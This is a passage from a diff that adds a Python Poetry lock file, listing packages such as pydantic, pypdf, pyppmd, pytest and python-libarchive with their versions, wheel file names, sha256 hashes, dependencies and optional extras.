"sha256:abade85268cc92dff86d6effcd917893130f0ff516f3d637f50dadc22ae93999"}, + {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9738b0f2e6c70f44ee0de53f2089d6002b10c33264abee07bdb5c7f03038303"}, + {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:787cf23e5a0cde753f2eabac1b2e73ae3844eb873fd1f5bdbff3048d8dbb7604"}, + {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:174899023337b9fc685ac8adaa7b047050616136ccd30e9070627c1aaab53a13"}, + {file = "pydantic-1.10.11-cp39-cp39-win_amd64.whl", hash = "sha256:1954f8778489a04b245a1e7b8b22a9d3ea8ef49337285693cf6959e4b757535e"}, + {file = "pydantic-1.10.11-py3-none-any.whl", hash = "sha256:008c5e266c8aada206d0627a011504e14268a62091450210eda7c07fabe6963e"}, + {file = "pydantic-1.10.11.tar.gz", hash = "sha256:f66d479cf7eb331372c470614be6511eae96f1f120344c25f3f9bb59fb1b5528"}, +] + +[package.dependencies] +typing-extensions = ">=4.2.0" + +[package.extras] +dotenv = ["python-dotenv (>=0.10.4)"] +email = ["email-validator (>=1.0.3)"] + +[[package]] +name = "pyflakes" +version = "2.5.0" +description = "passive checker of Python programs" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"}, + {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"}, +] + +[[package]] +name = "pygments" +version = "2.15.1" +description = "Pygments is a syntax highlighting package written in Python." +optional = false +python-versions = ">=3.7" +files = [ + {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"}, + {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"}, +] + +[package.extras] +plugins = ["importlib-metadata"] + +[[package]] +name = "pyopenssl" +version = "23.2.0" +description = "Python wrapper module around the OpenSSL library" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pyOpenSSL-23.2.0-py3-none-any.whl", hash = "sha256:24f0dc5227396b3e831f4c7f602b950a5e9833d292c8e4a2e06b709292806ae2"}, + {file = "pyOpenSSL-23.2.0.tar.gz", hash = "sha256:276f931f55a452e7dea69c7173e984eb2a4407ce413c918aa34b55f82f9b8bac"}, +] + +[package.dependencies] +cryptography = ">=38.0.0,<40.0.0 || >40.0.0,<40.0.1 || >40.0.1,<42" + +[package.extras] +docs = ["sphinx (!=5.2.0,!=5.2.0.post0)", "sphinx-rtd-theme"] +test = ["flaky", "pretend", "pytest (>=3.0.1)"] + +[[package]] +name = "pypdf" +version = "3.12.1" +description = "A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pypdf-3.12.1-py3-none-any.whl", hash = "sha256:74aa287c83e9aad2ce4a3627458dad729e39b5deae52175fe9f97bfffdde41bc"}, + {file = "pypdf-3.12.1.tar.gz", hash = "sha256:68bf9e089caaab356518410168df9ed90f0a6109e29adac168449d4054fa0094"}, +] + +[package.extras] +crypto = ["PyCryptodome"] +dev = ["black", "flit", "pip-tools", "pre-commit (<2.18.0)", "pytest-cov", "pytest-socket", "wheel"] +docs = ["myst_parser", "sphinx", "sphinx_rtd_theme"] +full = ["Pillow", "PyCryptodome"] +image = ["Pillow"] + +[[package]] +name = "pyppmd" +version = "1.0.0" +description = "PPMd compression/decompression library" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pyppmd-1.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8049c19af4b78b400b2347bff4514763257b55516c359144e9d8091991ed12e8"}, + {file = "pyppmd-1.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1c0fd06aaf782e65b7b5bbc47f8a9dbe050c1ba18474ccbe0a2b37f57a8d8c72"}, + {file = "pyppmd-1.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e17b08a5c283faf48b4ee888f8fa53f919cd8afd0930eae4d59f719f6be519fb"}, + {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:71f994f281439705cb04c497adc2863551fa5813606af6fb26c673a44a36c4e3"}, + {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31a09fd1b10518342ff442b57dd8c890b9bfea6bbdbb785c729f0d139092e42e"}, + {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca6a926d229a6dbf2ccdb0d4e692d81ff927459b59a1cec14ef522522df6d757"}, + {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:6279f1c4b6aefacb95df49db2f2e232530592d1849c37b73478a4f26eb405d12"}, + {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:f7a1b08612627d5280ef2dad1fadb0b1a10c70df0c484f9091eff5fab5e4c84e"}, + {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:3ecb83e0cc92960f959111518ea208b51a58e8cc303ff959e9cd2cc56dd36a63"}, + {file = "pyppmd-1.0.0-cp310-cp310-win32.whl", hash = "sha256:703c4fbc9b5e1454f403fb1d6b4a6c4c729f72eef14690146deecd2166429d6d"}, + {file = "pyppmd-1.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:6e2f5ff5071e4e43c92065f383753d4ad59778816485a01ee7b29e2a1ff48140"}, + {file = "pyppmd-1.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7e8d3c309061ae7fb40e4a26d30f8982b367abc562b9b8621cb79932cb3b94d9"}, + {file = "pyppmd-1.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5805c73590fb8f0ceb3e6cb115774b66a6f4700ae84b31d962ad69667e05dfbd"}, + {file = "pyppmd-1.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6a0c524be57698fe61fff893d485a9af21e6bc0aa2d385b71a63ff951921d4b6"}, + {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18d7cf4d0a9ced96ff1fa44de9ee3d65f5b06278c8f9a61c3edeb660f12f146b"}, + {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:61acfeee5ed59796037499119edd3159bf6b8c5fcaef17e295a2ca4103112d60"}, + {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8dbe3076fe20c4d65cb1d1b51eeb17a1c177402b83100017a55daad888e198e"}, + {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3bc75ed4e969b09fd1a766dd79cb3d5efe56edc11c86ac0b357b5648c7181ce2"}, + {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:024f714ebb8ddf59dae164adc3c220c24555d470f4adb5bd022abc50298cfff3"}, + {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7ae419f71afa88784d53dd2449882af982bbd0328fa22a7e6a339221f3143918"}, + {file = "pyppmd-1.0.0-cp311-cp311-win32.whl", hash = "sha256:8680008b1b1e9e77f3337a1a53c1b32541cac9f93f79ae12d34de050585999ac"}, + {file = "pyppmd-1.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:a5fbec6f39a307818593508d8623d9328baf494137d191fc98e11f47e058ceee"}, + {file = "pyppmd-1.0.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:a7240c00083527cf0b1bbdc92f6967e522efb9ad6968c953be174c390b091b3e"}, + {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cfb716a4a07ccbef84ed9fc31d012cef3b38404a6510e24d307cf64025999b21"}, + {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12be01e919a34c6944568592b35451acf7c98ed18e005bb4b1c046ed520aff7f"}, + {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d90d87377d83d909eafbf23301057fe16e6662c98ffea738159a234d9000a68"}, + {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:12a783a0e3c76484a1bc93783867a36ab9a60de5b5298d57c9fe7348e848346e"}, + {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:b6b6c01e46fcf785ad6c272be400ebcbcb434a1d91150614e10de8cc569b8bff"}, + {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:385a0b1341ebdfd7cb101c43eea130546830073c01bdb5036bca45c033ee633e"}, + {file = "pyppmd-1.0.0-cp36-cp36m-win32.whl", hash = "sha256:b8eee08c615ae9edd7bf1f214a377cac3d27417f22112685e581d4bab43029b0"}, + {file = "pyppmd-1.0.0-cp36-cp36m-win_amd64.whl", hash = "sha256:0e9c001719527dbafdd7fd8709b98bd63c173451c2eddbaa77abf62486a13da0"}, + {file = "pyppmd-1.0.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5847c47127ff9ea323f5910c62b9f136c3fab181a5144bfe72be13f051047357"}, + {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63ddd5a81d6aaed9373cd9fc4de9529f10fa052aaf064ab283dc6218418cc5b5"}, + {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:706d33cec3601d894f8a4a158bc652b7a3f01cd9e92c2da5d8711efeb9755835"}, + {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:07e067e114f05918c8a4ab1fa6a070e2c7a9e497aa73fbf6d87a90e7a6e62a57"}, + {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:cecf0859b461bcf04439f32bcfb6e081016fa6204c92b5950d19d248fd1aad6b"}, + {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:47ea218f7dfa94d15286c25d60db3091db1082ba958fa0a32ccaaaeaca7fc712"}, + {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:f751882dd529328ca43af8018f79cdd02ed707fcda30a2fa9acb1ee5c48261a6"}, + {file = "pyppmd-1.0.0-cp37-cp37m-win32.whl", hash = "sha256:18f863d58c4451e00765137be731c2b2150aff829468f59de4169e052429e1fd"}, + {file = "pyppmd-1.0.0-cp37-cp37m-win_amd64.whl", hash = "sha256:05950d8a39fd9bf6c64572d69a6dd0a1af3fadf8d4a2a0bb62f5b04c0a618300"}, + {file = "pyppmd-1.0.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5331a7780d3444d7029e15e68385c94d6a26f688c1e87a5a9ee2e836ea6e4559"}, + {file = "pyppmd-1.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:62f970173baf80aad9472c7c6edca4a021ae7965174b1c5d6f400c9571e92efc"}, + {file = "pyppmd-1.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ccdfc8b2a1d73b2186850b9a5bd96106d5fd4419a620d344b0ab8bf630680cf8"}, + {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a63adeeb9dc4afd6d377ac1c9801f9539f9a81430e9c96d332023bf2ad6c04a1"}, + {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca8a842b4ff671642b63ed4edd4e1ff7dc0ba0a7af4135758233f056ab992fca"}, + {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1aeba466617cf975cd6719070ca9721bcd83a1a84bd8cf74c3a2808724481e"}, + {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b0a87399ade5820f787758449976e758604c7739eb5f79ed9e594b5fa3a6a1bc"}, + {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:74bd56b165283bb5586ff9ac7a896b217b3c94effe144b768279807840142bb4"}, + {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:ea4b1a326afe2055304740a03a233f7389f615179b9f6377264b306f619bfb11"}, + {file = "pyppmd-1.0.0-cp38-cp38-win32.whl", hash = "sha256:d2c3c16f644afb1b3caa4f6c717682030f7c3f54a12af8b1416b21877f0b5226"}, + {file = "pyppmd-1.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:a7f83970a057157c88d4a53a40431d07d8d3f38029ad2eae621422f955bd243b"}, + {file = "pyppmd-1.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:93d0d6ed97046ce25d64427ec493e06c23f32838972258bf11d603c9c998d6b3"}, + {file = "pyppmd-1.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1658714d012a5f9a8a3e67f3a9ede3519a2558064ccbd3163c39aca0cfd2412b"}, + {file = "pyppmd-1.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ab4e29f774e064af09baf8478acd967684524e566b78fcc4f6f669757f0a2ab5"}, + {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cd227b8c292ac43d3297a91055fab51c27894dba39d04ccc774a72d9e6f85752"}, + {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68184b7246ea73a92a764e16cc18b74ccf3c8d6bfc438bbace57aeb1914118a7"}, + {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8aafe6fc436a782e6d424a0ac00de08a1559b6d6ddd08031adbe791ff4e54c90"}, + {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bae08176e0d3ed0a5cbd838ff1ac557dfa088a652af633ab1905ab35bb9d7bc4"}, + {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:c60031de93834e5cd262db4b27272101d04a9a18c4cc49f81d483221211a97c8"}, + {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:aee9c52a6f232f3f7c683b87213aa3a9eacd281ab31187e784290ba1c05024fe"}, + {file = "pyppmd-1.0.0-cp39-cp39-win32.whl", hash = "sha256:2858471a291b51fab49242d78bd67c2b7719368618a02e4aa995de8c855da73c"}, + {file = "pyppmd-1.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:1ec00b07c6b68feb402d6596f3575a7892ad69e4f455deee7b5301df703e60dd"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ac19ec1b6e3a0aadc1537466f537017189373593e23fe254df050fdd01f4a722"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10c8a41093952cde52b6d89488dc601ee7b10f6c95c430488f68987393777b46"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3ea6a0d26db17027805a804d013cf761d732df5bce9d6b314cd1c727fe347277"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2c31e5b331923f3b3b2cfbc66a60ecfd73db1a19a646bd1faf25bfde709a80d0"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:f488164e8876d213b0627a7a6cb798081eaf84fd9ec6dde5a1668296b15e1a6c"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6059ea0c9acc3b52b2961412ac75d1da72656f8b69bb8fc3d92eec6776176011"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aadc63d0ac83f8c5744eb34ea47a70ff7bfab519b293482d7ccb09946c374dc7"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09668aa43e4f02b8725e6233dfc66e532c72f0e69fa1b34dd814a9f7200e0496"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f79ebcd7312b541d3520e1a0d4c362731e24403e2f9f6761679b2ad819d5c706"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:556b6a3af3fca2b41ca25f51c481e5df8df4da842fc5a567da7bb099cfa52423"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f9a3782f5accab4186d68c86defc61fcc7d0146e9cdc5b54e18656852c71db16"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d5c6c40f15b9fdea10bf966e5b07ee0a0ebcb8cf188ed9a466029c894816b303"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8a90b98f9d501eaedaca4d0e82f9e771bd2d780d71effcdeacc9fc6180a00e07"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f8a3b9192714b3e4773fc49c100ca13defa2502cb38e56205eb5a131ccf555d"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7f1e7a1747518b5822eb755f3715d88bd1459e24de828aed86b7c1aa35e3ed76"}, + {file = "pyppmd-1.0.0.tar.gz", hash = "sha256:075c9bd297e3b0a87dd7aeabca7fee668218acbe69ecc1c6511064558de8840f"}, +] + +[package.extras] +check = ["check-manifest", "flake8", "flake8-black", "isort (>=5.0.3)", "mypy (>=0.812)", "mypy-extensions (>=0.4.3)", "pygments", "readme-renderer"] +docs = ["sphinx (>=2.3)", "sphinx-rtd-theme"] +fuzzer = ["atheris", "hypothesis"] +test = ["coverage[toml] (>=5.2)", "hypothesis", "pytest (>=6.0)", "pytest-benchmark", "pytest-cov", "pytest-timeout"] + +[[package]] +name = "pyright" +version = "1.1.316" +description = "Command line wrapper for pyright" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pyright-1.1.316-py3-none-any.whl", hash = "sha256:7259d73287c882f933d8cd88c238ef02336e172171ae95117a963a962a1fed4a"}, + {file = "pyright-1.1.316.tar.gz", hash = "sha256:bac1baf8567b90f2082ec95b61fc1cb50a68917119212c5608a72210870c6a9a"}, +] + +[package.dependencies] +nodeenv = ">=1.6.0" + +[package.extras] +all = ["twine (>=3.4.1)"] +dev = ["twine (>=3.4.1)"] + +[[package]] +name = "pytest" +version = "7.4.0" +description = "pytest: simple powerful testing with Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-7.4.0-py3-none-any.whl", hash = "sha256:78bf16451a2eb8c7a2ea98e32dc119fd2aa758f1d5d66dbf0a59d69a3969df32"}, + {file = "pytest-7.4.0.tar.gz", hash = "sha256:b4bf8c45bd59934ed84001ad51e11b4ee40d40a1229d2c79f9c592b0a3f6bd8a"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "sys_platform == \"win32\""} +iniconfig = "*" +packaging = "*" +pluggy = ">=0.12,<2.0" + +[package.extras] +testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] + +[[package]] +name = "pytest-asyncio" +version = "0.20.3" +description = "Pytest support for asyncio" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-asyncio-0.20.3.tar.gz", hash = "sha256:83cbf01169ce3e8eb71c6c278ccb0574d1a7a3bb8eaaf5e50e0ad342afb33b36"}, + {file = "pytest_asyncio-0.20.3-py3-none-any.whl", hash = "sha256:f129998b209d04fcc65c96fc85c11e5316738358909a8399e93be553d7656442"}, +] + +[package.dependencies] +pytest = ">=6.1.0" + +[package.extras] +docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1.0)"] +testing = ["coverage (>=6.2)", "flaky (>=3.5.0)", "hypothesis (>=5.7.1)", "mypy (>=0.931)", "pytest-trio (>=0.7.0)"] + +[[package]] +name = "pytest-mock" +version = "3.11.1" +description = "Thin-wrapper around the mock package for easier use with pytest" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-mock-3.11.1.tar.gz", hash = "sha256:7f6b125602ac6d743e523ae0bfa71e1a697a2f5534064528c6ff84c2f7c2fc7f"}, + {file = "pytest_mock-3.11.1-py3-none-any.whl", hash = "sha256:21c279fff83d70763b05f8874cc9cfb3fcacd6d354247a976f9529d19f9acf39"}, +] + +[package.dependencies] +pytest = ">=5.0" + +[package.extras] +dev = ["pre-commit", "pytest-asyncio", "tox"] + +[[package]] +name = "python-dateutil" +version = "2.8.2" +description = "Extensions to the standard Python datetime module" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +files = [ + {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, + {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "python-dotenv" +version = "1.0.0" +description = "Read key-value pairs from a .env file and set them as environment variables" +optional = false +python-versions = ">=3.8" +files = [ + {file = "python-dotenv-1.0.0.tar.gz", hash = "sha256:a8df96034aae6d2d50a4ebe8216326c61c3eb64836776504fcca410e5937a3ba"}, + {file = "python_dotenv-1.0.0-py3-none-any.whl", hash = "sha256:f5971a9226b701070a4bf2c38c89e5a3f0d64de8debda981d1db98583009122a"}, +] + +[package.extras] +cli = ["click (>=5.0)"] + +[[package]] +name = "python-libarchive" +version = "4.2.1" +description = "A libarchive wrapper for Python supporting password protection." +optional = false +python-versions = "*" +files = [ + {file = "python-libarchive-4.2.1.tar.gz", hash = "sha256:966c40723dcb2ea4a38b29b0d4b130ad0961b9142314528edd7fceff44e8ad3f"}, + {file = "python_libarchive-4.2.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:17db8f8a093880a1b09f926f4335fe31e262e7970a6cbdeb965e5fc9a5eee7b6"}, + {file = "python_libarchive-4.2.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6491820a128ffd1700df0e60b86689af53989b01a9d68b9392eef16c83f78b25"}, + {file = "python_libarchive-4.2.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:09a011df6628618d2c7f46e388d4a18c2e735436508618bcb6c54f1c2dce2ed2"}, + {file = "python_libarchive-4.2.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:66209e78cedb3b35b81c272575b1dde66d5aabb82a435eb0529976ee4f481b7f"}, + {file = "python_libarchive-4.2.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10baa7763b6a6360400fb80012683e6066cfba63846cd077268c58c93f190f95"}, + {file = "python_libarchive-4.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23188e7b97a313e0eeb071a8b94c9d902603c05388d6a4ee9da27b92cd8d91d7"}, + {file = "python_libarchive-4.2.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:742ac08c9572bddafa87601efbc32b2c9a48fcd15f1936fb2813b37d2d96c645"}, + {file = "python_libarchive-4.2.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:177185bb63d867fea65191a3fc6d730527de81a78cecc7c8db9531c5102ff9c4"}, + {file = "python_libarchive-4.2.1-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ad106808f4e401027a2777c945cac2a850f2aef82ef7c2f1364012502775632"}, + {file = "python_libarchive-4.2.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb2de67eec18dbeeadb9b6ca71aa0bdfdc2994c82d2900329df32a2c2f974131"}, + {file = "python_libarchive-4.2.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:0c5bd7a1ef901a16c36ea73befef1aef2993a0cfe903aa5846a5a178935f55da"}, + {file = "python_libarchive-4.2.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:8f7bfd5270590ada47f1410b3fc9f7f77c4c768b06265abeffbd3270cc86fc05"}, + {file = "python_libarchive-4.2.1-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6b2169bf5da1a7a3df0557e607ffe002676e8cb22d7bfc976cc2e470cff9b95"}, + {file = "python_libarchive-4.2.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51f006893ea61ea595340e985ae108c15aab206b70fe105b97c44a2319120b5f"}, + {file = "python_libarchive-4.2.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de110cc6ec67d70a537a4987b792c8ca77daa07f764fb9c071c79627aa429460"}, + {file = "python_libarchive-4.2.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:17d327ccd5fa0cbc2bc565cb3c039a9fe792eb18273d3573d78642daab5f752c"}, + {file = "python_libarchive-4.2.1-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7053bc44c65d1b6bc82e6d54422a53a1610347ee3cc177dc9f4be2357fcadcf8"}, + {file = "python_libarchive-4.2.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c7147b37bdae0d39afb97197f3c102c0e71335da579f78e23ff601f8a1b62f26"}, + {file = "python_libarchive-4.2.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:3489a0b7b6a215ee668dcf08bd69eacbb063de5eb35dd627b71292909821c5bb"}, + {file = "python_libarchive-4.2.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:f0e8d5a8936ad1845e1b1ac0d333ef35e7e6005cde2bc543c1ae7972d80e4445"}, + {file = "python_libarchive-4.2.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8779e59dc6c0f7aa16c1900c697c4bc7debbcec17f021333cc6b3b6992caf7a8"}, + {file = "python_libarchive-4.2.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:876d009dd9716b40a48395e3de30a6291dd49cdc789d437059c6d8edfe210ad9"}, + {file = "python_libarchive-4.2.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:57f3b2debcb61d3379125af400f79e6940865c8426a1db8d01739e409d4381c1"}, + {file = "python_libarchive-4.2.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5c1deeb34285334c4eb7e3a07327c6e014083794cf729dd5bc9e0a3a31348004"}, + {file = "python_libarchive-4.2.1-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5770d7cb8d2b549870c71bebd8d3af7d00d003913b15193f1d7d52d1e18ee8a0"}, + {file = "python_libarchive-4.2.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0c747238dc38b78993bc0539e8273bb51c9e334f9f2f7b0cbfe4568fa3d1ce7"}, + {file = "python_libarchive-4.2.1-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1dc3ace1570878b459ab51ed83a6d558923c15ca3fa1a9a6c5ec9bf87bce4ca6"}, + {file = "python_libarchive-4.2.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2cc1ce22b62f46912368d110b61d88a1ca5b958e4a3d648202463aa7e9303de4"}, + {file = "python_libarchive-4.2.1-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbc38afa283510ee99823b90b4c4c59de8df22a481e0707bbc8bb96017e5a2f"}, + {file = "python_libarchive-4.2.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4ddd285fc76b69f29be6974b4858d46249d45ee49d0e42ebc9443ff1d6a46fd2"}, +] + +[[package]] +name = "python-magic" +version = "0.4.27" +description = "File type identification using libmagic" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "python-magic-0.4.27.tar.gz", hash 